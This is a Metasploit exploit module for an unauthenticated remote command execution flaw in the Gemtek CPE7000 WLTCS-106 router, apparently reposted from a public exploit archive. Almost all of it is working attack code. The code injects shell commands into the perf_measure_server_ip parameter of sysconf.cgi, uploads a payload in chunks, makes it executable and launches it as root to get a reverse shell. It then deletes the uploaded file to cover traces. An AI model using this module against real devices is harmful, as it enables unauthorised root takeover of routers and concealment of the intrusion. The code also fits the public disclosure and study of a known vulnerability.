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Gemtek CPE7000 WLTCS-106 sysconf.cgi Remote Command Execution

Posted on 26 April 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Gemtek CPE7000 - WLTCS-106 sysconf.cgi Unauthenticated Remote Command Execution',
'Description' => %q{
A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106
exposing Iperf tool to unauthenticated users. Injecting a
command in the perf_measure_server_ip parameter, an attacker
can execute arbitrary commands. Since the service runs as root,
the remote command execution has the same administrative privileges.
The remote shell is obtained uploading the payload and executing it.
A reverse shell is preferred rather then a bind one, since firewall
won't allow (by default) incoming connections.

Tested on Hardware version V02A and Firmware version 01.01.02.082.
},
'Author' =>
[
'Federico Scalco <fscalco [ at] mentat.is>'
#Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '39716' ],
[ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],
[ 'URL' , 'http://www.gemtek.com.tw/' ]
],
'DisclosureDate' => 'Apr 07 2016',
'Privileged' => false,
'Platform' => %w{ linux },
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'Linux arm Payload',
{
'Arch' => ARCH_ARMLE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'RPORT' => 443,
'SHELL' => '/bin/sh'
}
))

register_options(
[
OptInt.new('CMD_DELAY', [false, 'Time that the Handler will wait for the incoming connection', 15]),
OptInt.new('CHUNKS_DELAY', [false, 'Timeout between payload's chunks sending requests', 2]),
OptString.new('UPFILE', [ false, 'Payload filename on target server, (default: random)' ]),
OptInt.new('CHUNK_SIZE', [ false, 'Payload's chunk size (in bytes, default: 50)', 50 ]),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)

end

def request_resource(resname)
begin
res = send_request_cgi({
'uri' => resname,
'method' => 'GET',
})
return res
rescue ::Rex::ConnectionError
vprint_error("#{@rhost}:#{rport} - Failed to connect to the web server")
return nil
end
end

def cleanup
print_status("#{@rhost}:#{rport} - Cleanup fase, trying to remove traces...")

begin
clean_target(@upfile)
rescue
vprint_error("#{@rhost}:#{rport} - Failed to clean traces (/www/#{@upfile}). The resource must be removed manually")
end
return
end

def clean_target(resname)
res = request_resource(resname)
if res and res.code != 404
print_status("#{rhost}:#{rport} - Found resource " + resname + ". Cleaning up now")
#remove
cmd = '"; rm /www/' + resname +' &> /dev/null #'
res = act(cmd, "deleting resource")
if (!res)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to delete resource /www/#{resname} (have to do it manually)")
end
end
end

def set_conditions(buffer)
res = send_request_cgi({
'method' => 'GET',
'uri' => '/cgi-bin/sysconf.cgi',
'encode_params' => true,
'vars_get' => {
'page' => 'ajax.asp',
'action' => 'save_iperf_value',
'perf_measure_server_ip' => buffer,
'perf_measure_server_port' => '5555',
'perf_measure_cpe_port' => '5554',
'perf_measure_test_time' => '60',
'perf_measure_protocol_type' => '1',
'perf_measure_packet_data_length' => '1024',
'perf_measure_bandwidth' => '19m',
'perf_measure_client_num' => '1'
}
})

if !res or res.code != 200
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to set_condition request")
end

return res
end

def toggle_once
res = send_request_cgi({
'method' => 'GET',
'uri' => '/cgi-bin/sysconf.cgi',
'vars_get' => {
'page' => 'ajax.asp',
'action' => 'perf_measure_status_toggle'
}
})

if !res or res.code != 200
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to toggle request")
end

if res.body == "1"
@retoggled = false
return true
elsif !@retoggled
#print_status("#{@rhost}:#{rport} - First toggle request returned 0, retoggling now...")
@retoggled = true
toggle_once()
else
fail_with(Failure::UnexpectedReply, "Toggler cgi did not respond in an expected way")
end

end

def act(buffer, step)
set_conditions(buffer)
res = toggle_once()
return res
end

def exploit

@retoggled = false;
@cmd_delay = datastore['CMD_DELAY'] || 15
@chunk_size = datastore['CHUNK_SIZE'] || 50
@rhost = datastore['RHOST']
@rport = datastore['RPORT']
@upfile = datastore['UPFILE'] || rand_text_alpha(8+rand(8))
chunk_delay = datastore['CHUNKS_DELAY'] || 2

clean_target(@upfile)

pl = payload.encoded_exe
chunks = pl.scan(/.{1,#{@chunk_size}}/)
hash = Hash[chunks.map.with_index.to_a]

print_status("Total payload chunks: " + chunks.length.to_s )
print_status("#{rhost}:#{rport} - Uploading chunked payload on the gemtek device (/www/#{@upfile})")

for chk in chunks
chind = hash[chk]
safe_buffer = chk.each_byte.map { |b| 'x' + b.to_s(16) }.join

if chind == 0
s_redir = '>'
else
s_redir = '>>'
end

cmd = '"; printf '' + safe_buffer + '' ' + s_redir + ' /www/' + @upfile + ' #'

print_status("#{@rhost}:#{rport} - Uploading chunk " + (chind + 1).to_s + "/" + chunks.length.to_s + ('.' * (chind + 1)))
res = act(cmd, "uploading shell")
if (!res)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
select(nil, nil, nil, chunk_delay)
end

#chmod request
cmd = '"; chmod 777 /www/' + @upfile + ' & #'
print_status("#{rhost}:#{rport} - Asking the gemtek device to chmod #{@upfile}")
res = act(cmd, "chmodding payload")
if (!res)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to chmod payload")
end

select(nil, nil, nil, @cmd_delay)

#phone home
cmd = '"; /www/' + @upfile + ' & #'
print_status("#{rhost}:#{rport} - Asking the gemtek device to execute #{@upfile}")
res = act(cmd, "executing payload")
if (!res)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end

select(nil, nil, nil, @cmd_delay)

end
end

 

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